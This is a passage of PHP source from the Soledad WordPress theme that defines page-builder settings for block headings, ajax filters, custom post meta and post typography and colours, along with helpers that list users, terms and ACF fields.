					'heading'    => __( 'Margin Bottom', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				),
			);
		}

		public static function params_heading_filter_style() {
			$group_name = 'Typo & Color';

			return [
				[
					'type'             => 'textfield',
					'param_name'       => 'filter_heading_style',
					'heading'          => esc_html__( 'Heading Ajax Filter Style', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				],
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'link_fsize',
					'heading'    => __( 'Spacing', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'nexprev_fsize',
					'heading'    => __( 'Next/Prev Buttons Font Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'        => 'penci_switch',
					'heading'     => esc_html__( 'Use Custom Typography?', 'soledad' ),
					'group'       => $group_name,
					'param_name'  => 'use_custom_typo',
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
				],
				[
					'type'       => 'google_fonts',
					'heading'    => esc_html__( 'Typography', 'soledad' ),
					'group'      => $group_name,
					'param_name' => 'btitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_custom_typo', 'value' => array( 'yes' ) ),
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Color', 'soledad' ),
					'param_name'       => 'heading_filter_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Hover & Active Color', 'soledad' ),
					'param_name'       => 'heading_filter_hcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Background Color', 'soledad' ),
					'param_name'       => 'heading_filter_dropdown_bgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Border Color', 'soledad' ),
					'param_name'       => 'heading_filter_dropdown_bdcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Link Color', 'soledad' ),
					'param_name'       => 'dropdown_l_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Hover & Active Color', 'soledad' ),
					'param_name'       => 'dropdown_ha_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Loading Icon Color', 'soledad' ),
					'param_name'       => 'loading_icolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Loading Overlay Background Color', 'soledad' ),
					'param_name'       => 'loadingo_bg_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'penci_only_number',
					'heading'          => esc_html__( 'Loading Overlay Background Opacity', 'soledad' ),
					'param_name'       => 'loading_opacity_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
			];
		}


		public static function params_custom_meta_fields() {
			$group_name = 'Custom Meta Field';

			return array_merge( array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'filter_heading',
					'heading'          => esc_html__( 'Custom Post Meta', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'        => 'penci_switch',
					'param_name'  => 'cspost_enable',
					'heading'     => esc_html__( 'Showing Custom Post Metas?', 'soledad' ),
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'group'       => $group_name,
				),
				array(
					'type'       => 'textfield',
					'param_name' => 'cspost_cpost_meta',
					'heading'    => esc_html__( 'Custom Post Meta Keys', 'soledad' ),
					'group'      => $group_name,
				),
				array(
					'type'        => 'autocomplete',
					'param_name'  => 'cspost_cpost_acf_meta',
					'heading'     => esc_html__( 'Custom Post ACF Meta Keys', 'soledad' ),
					'description' => 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.',
					'group'       => $group_name,
					'settings'    => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::penci_get_meta_list()
					),
				),
				array(
					'type'        => 'penci_switch',
					'param_name'  => 'cspost_cpost_meta_label',
					'heading'     => esc_html__( 'Showing Custom Post Meta Label', 'soledad' ),
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'group'       => $group_name,
				),
				array(
					'type'       => 'textfield',
					'param_name' => 'cspost_cpost_meta_divider',
					'heading'    => esc_html__( 'Custom Divider Between Meta Label & Meta Value', 'soledad' ),
					'group'      => $group_name,
				),
			) );
		}

		public static function params_heading_filter( $nav = false ) {
			$group_name = 'Heading';

			$nav_options = [];

			if ( $nav ) {
				$nav_options = [
					array(
						'type'        => 'penci_switch',
						'param_name'  => 'paging',
						'heading'     => esc_html__( 'Show Next Previous Navigation', 'soledad' ),
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'group'       => $group_name,
					),
				];
			}

			return array_merge( array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'filter_heading',
					'heading'          => esc_html__( 'Heading Ajax Filter', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'       => 'autocomplete',
					'heading'    => __( 'Categories', 'soledad' ),
					'param_name' => 'biggrid_ajaxfilter_cat',
					'settings'   => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::penci_get_terms_list( 'category' )
					),
					'std'        => '',
					'group'      => $group_name,
				),
				array(
					'type'       => 'autocomplete',
					'heading'    => __( 'Tags', 'soledad' ),
					'param_name' => 'biggrid_ajaxfilter_tag',
					'settings'   => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::penci_get_terms_list( 'post_tag' )
					),
					'std'        => '',
					'group'      => $group_name,
				),
				array(
					'type'       => 'autocomplete',
					'heading'    => __( 'Authors', 'soledad' ),
					'param_name' => 'biggrid_ajaxfilter_author',
					'settings'   => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::get_users_list()
					),
					'std'        => '',
					'group'      => $group_name,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Default Tab Text', 'soledad' ),
					'param_name' => 'group_more_defaultab_text',
					'group'      => $group_name,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Add Text Before More Icon', 'soledad' ),
					'param_name' => 'group_more_link_text',
					'group'      => $group_name,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'No Post Found Message', 'soledad' ),
					'param_name' => 'group_more_nopost',
					'group'      => $group_name,
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Loading Icon Style', 'soledad' ),
					'param_name' => 'biggrid_ajax_loading_style',
					'group'      => $group_name,
					'value'      => [
						'Follow Customize' => 'df',
						'Style 1'          => 's9',
						'Style 2'          => 's2',
						'Style 3'          => 's3',
						'Style 4'          => 's4',
						'Style 5'          => 's5',
						'Style 6'          => 's6',
						'Style 7'          => 's1',
					]
				),
			), $nav_options );
		}

		public static function get_users_list() {
			$users     = [];
			$blogusers = get_users();
			foreach ( $blogusers as $user ) {
				$users[] = [
					'value' => $user->ID,
					'label' => $user->display_name
				];
			}

			return $users;
		}

		public static function penci_get_meta_list() {


			$acf_fields_array = [];

			$acf_fields = get_posts( [
				'post_type'      => 'acf-field',
				'posts_per_page' => - 1
			] );

			$fields_support = apply_filters( 'penci_acf_fields', [
				'text',
				'textarea',
				'number',
				'range',
				'email',
				'url'
			] );

			if ( $acf_fields ) {
				foreach ( $acf_fields as $acf_field ) {
					$field_data = unserialize( $acf_field->post_content );
					if ( in_array( $field_data['type'], $fields_support ) ) {
						$acf_fields_array[] = [
							'value' => $acf_field->post_excerpt,
							'label' => $acf_field->post_title
						];
					}
				}
			}

			return $acf_fields_array;

		}

		public static function penci_get_terms_list( $tax ) {
			$post_cats_args = get_terms( [ 'taxonomy' => $tax, 'hide_empty' => true ] );
			$post_terms     = [];
			if ( ! empty( $post_cats_args ) ) {
				foreach ( $post_cats_args as $post_cat ) {
					$post_terms[] = [
						'value' => $post_cat->term_id,
						'label' => $post_cat->name
					];
				}
			}

			return $post_terms;
		}

		public static function params_heading_typo_color( $group_color = '' ) {
			if ( ! $group_color ) {
				$group_color = 'Typo & Color';
			}

			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_meta_settings',
					'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Title Color', 'soledad' ),
					'param_name'       => 'block_title_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Title Hover Color', 'soledad' ),
					'param_name'       => 'block_title_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Color', 'soledad' ),
					'param_name'       => 'btitle_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Outer Color', 'soledad' ),
					'param_name'       => 'btitle_outer_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Bottom for Heading Style 5, 10, 11, 12', 'soledad' ),
					'param_name'       => 'btitle_style5_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array( 'style-5', 'style-10', 'style-11', 'style-12' )
					),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Small Border Bottom for Heading Style 7 & Style 8', 'soledad' ),
					'param_name'       => 'btitle_style78_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array( 'style-7', 'style-9' )
					),
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Top for Heading Style 10', 'soledad' ),
					'param_name'       => 'btitle_style10_btopcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'heading_title_style', 'value' => array( 'style-10' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Shapes for Heading Styles 11, 12, 13', 'soledad' ),
					'param_name'       => 'btitle_shapes_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array( 'style-13', 'style-11', 'style-12' )
					),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Color for Icon on Style 15', 'soledad' ),
					'param_name'       => 'bgstyle15_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Color on Style 15', 'soledad' ),
					'param_name'       => 'iconstyle15_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
					'param_name'       => 'cl_lines',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array(
							'style-18',
							'style-18 style-19',
							'style-18 style-20'
						)
					),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Color', 'soledad' ),
					'param_name'       => 'btitle_bgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6'
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Outer Color', 'soledad' ),
					'param_name'       => 'btitle_outer_bgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'attach_image',
					'heading'    => esc_html__( 'Custom Background Image for Style 9', 'soledad' ),
					'param_name' => 'btitle_style9_bgimg',
					'group'      => $group_color,
					'dependency' => array( 'element' => 'heading_title_style', 'value' => array( 'style-8' ) ),
				),
				array(
					'type'        => 'penci_switch',
					'heading'     => __( 'Custom Font Family for Block Title', 'soledad' ),
					'param_name'  => 'use_btitle_typo',
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'group'       => $group_color,
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'btitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_btitle_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'btitle_fsize',
					'heading'    => __( 'Font Size for Block Title', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_color,
				)
			);
		}

		public static function params_container_width( $default = 3 ) {
			return array(
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Element Columns', 'soledad' ),
					'param_name' => 'penci_block_width',
					'std'        => $default,
					'value'      => array(
						__( '1 Column ( Small Container Width)', 'soledad' )    => '1',
						__( '2 Columns ( Medium Container Width )', 'soledad' ) => '2',
						__( '3 Columns ( Large Container Width )', 'soledad' )  => '3',
					),
				)
			);
		}

		public static function extra_params() {
			return array(
				array(
					'type'       => 'css_editor',
					'heading'    => __( 'CSS box', 'soledad' ),
					'param_name' => 'css',
					'group'      => __( 'Design Options', 'soledad' ),
				),
				penci_get_vc_responsive_spacing_map(),
			);
		}

		public static function heading_block_params( $block_title_df = true ) {
			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_block_title_1',
					'heading'          => esc_html__( 'Heading Title', 'soledad' ),
					'value'            => '',
					'group'            => 'Heading',
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
					'param_name' => 'heading_title_style',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
						esc_html__( 'Style 1', 'soledad' )                      => 'style-1',
						esc_html__( 'Style 2', 'soledad' )                      => 'style-2',
						esc_html__( 'Style 3', 'soledad' )                      => 'style-3',
						esc_html__( 'Style 4', 'soledad' )                      => 'style-4',
						esc_html__( 'Style 5', 'soledad' )                      => 'style-5',
						esc_html__( 'Style 6', 'soledad' )                      => 'style-6',
						esc_html__( 'Style 7', 'soledad' )                      => 'style-7',
						esc_html__( 'Style 8', 'soledad' )                      => 'style-9',
						esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
						esc_html__( 'Style 10', 'soledad' )                     => 'style-10',
						esc_html__( 'Style 11', 'soledad' )                     => 'style-11',
						esc_html__( 'Style 12', 'soledad' )                     => 'style-12',
						esc_html__( 'Style 13', 'soledad' )                     => 'style-13',
						esc_html__( 'Style 14', 'soledad' )                     => 'style-14',
						esc_html__( 'Style 15', 'soledad' )                     => 'style-15',
						esc_html__( 'Style 16', 'soledad' )                     => 'style-16',
						esc_html__( 'Style 17', 'soledad' )                     => 'style-2 style-17',
						esc_html__( 'Style 18', 'soledad' )                     => 'style-18',
						esc_html__( 'Style 19', 'soledad' )                     => 'style-18 style-19',
						esc_html__( 'Style 20', 'soledad' )                     => 'style-18 style-20',
						esc_html__( 'Style 21', 'soledad' )                     => 'style-21',
						esc_html__( 'Style 22', 'soledad' )                     => 'style-22',
						esc_html__( 'Style 23', 'soledad' )                     => 'style-23',
						esc_html__( 'Style 24', 'soledad' )                     => 'style-24',
						esc_html__( 'Style 25', 'soledad' )                     => 'style-25',
						esc_html__( 'Style 26', 'soledad' )                     => 'style-26',
						esc_html__( 'Style 27', 'soledad' )                     => 'style-7',
					),
					'group'      => 'Heading',
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Heading Title', 'soledad' ),
					'param_name'  => 'heading',
					'value'       => $block_title_df ? esc_html__( 'Block Title', 'soledad' ) : '',
					'std'         => $block_title_df ? esc_html__( 'Block Title', 'soledad' ) : '',
					'admin_label' => true,
					'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
					'group'       => 'Heading',
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Title Url', 'soledad' ),
					'param_name'  => 'heading_title_link',
					'std'         => '',
					'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
					'group'       => 'Heading',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Align', 'soledad' ),
					'param_name' => 'heading_title_align',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
						esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
						esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
						esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
					),
					'group'      => 'Heading',
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Align Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Right'                       => 'pciconp-right',
						'Left'                        => 'pciconp-left',
					),
					'param_name'  => 'heading_icon_pos',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => 'Heading',
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Custom Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Arrow Right'                 => 'pcicon-right',
						'Arrow Left'                  => 'pcicon-left',
						'Arrow Down'                  => 'pcicon-down',
						'Arrow Up'                    => 'pcicon-up',
						'Star'                        => 'pcicon-star',
						'Bars'                        => 'pcicon-bars',
						'File'                        => 'pcicon-file',
						'Fire'                        => 'pcicon-fire',
						'Book'                        => 'pcicon-book',
					),
					'param_name'  => 'heading_icon',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => 'Heading',
				),
			);
		}

		public static function params_latest_posts_typo_color() {
			$group_color = 'Typo & Color';

			$style_big_post = array(
				'mixed',
				'mixed-4',
				'mixed-2',
				'standard-grid',
				'standard-grid-2',
				'standard-list',
				'standard-boxed-1',
				'classic-grid',
				'classic-grid-2',
				'classic-list',
				'classic-boxed-1',
				'overlay-grid',
				'overlay-grid-2',
				'overlay-list',
				'overlay-boxed-1'
			);
			$color_big_post = array( 'mixed-2', 'overlay-grid', 'overlay-grid-2', 'overlay-list', 'overlay-boxed-1' );

			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'General Posts', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),

				// Post title
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Border Color', 'soledad' ),
					'param_name'       => 'pborder_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'style',
						'value'   => array(
							'boxed-1',
							'boxed-2',
							'mixed',
							'mixed-2',
							'standard-boxed-1'
						)
					),
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'ptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'ptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'ptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
					'param_name'       => 'use_ptitle_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'ptitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator1',
					'group'      => $group_color,
				),
				// Post meta
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
					'param_name'       => 'pmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
					'param_name'       => 'pmeta_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Author Color', 'soledad' ),
					'param_name'       => 'pauthor_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Border Color', 'soledad' ),
					'param_name'       => 'pmeta_border_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
					'param_name'       => 'use_pmeta_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pmeta_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
				),

				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),

				// Post Excrept
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Excrept Color', 'soledad' ),
					'param_name'       => 'pexcrept_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pexcrept_fsize',
					'heading'          => __( 'Font Size for Post Excrept', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Excrept', 'soledad' ),
					'param_name'       => 'use_pexcrept_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pexcrept_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pexcrept_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),
				// Category
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Color', 'soledad' ),
					'param_name'       => 'pcat_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Hover Color', 'soledad' ),
					'param_name'       => 'pcat_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pcat_fsize',
					'heading'          => __( 'Font Size for Post Categories', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Categories', 'soledad' ),
					'param_name'       => 'use_pcat_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pcat_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),
				// Continue reading
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Continue reading Color', 'soledad' ),
					'param_name'       => 'prmore_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Continue reading Hover Color', 'soledad' ),
					'param_name'       => 'prmore_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'prmore_fsize',
					'heading'          => __( 'Font Size for Continue reading', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Continue reading', 'soledad' ),
					'param_name'       => 'use_prmore_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'prmore_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_prmore_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),

				// Share
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Social Share Color', 'soledad' ),
					'param_name'       => 'pshare_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Social Share Hover Color', 'soledad' ),
					'param_name'       => 'pshare_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Social Share Border Color', 'soledad' ),
					'param_name'       => 'pshare_border_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pshare_fsize',
					'heading'          => __( 'Font Size for Social Share Icons', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),

				// Big Post
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_bptittle_settings',
					'heading'          => esc_html__( 'Big Posts', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'bptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'bptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
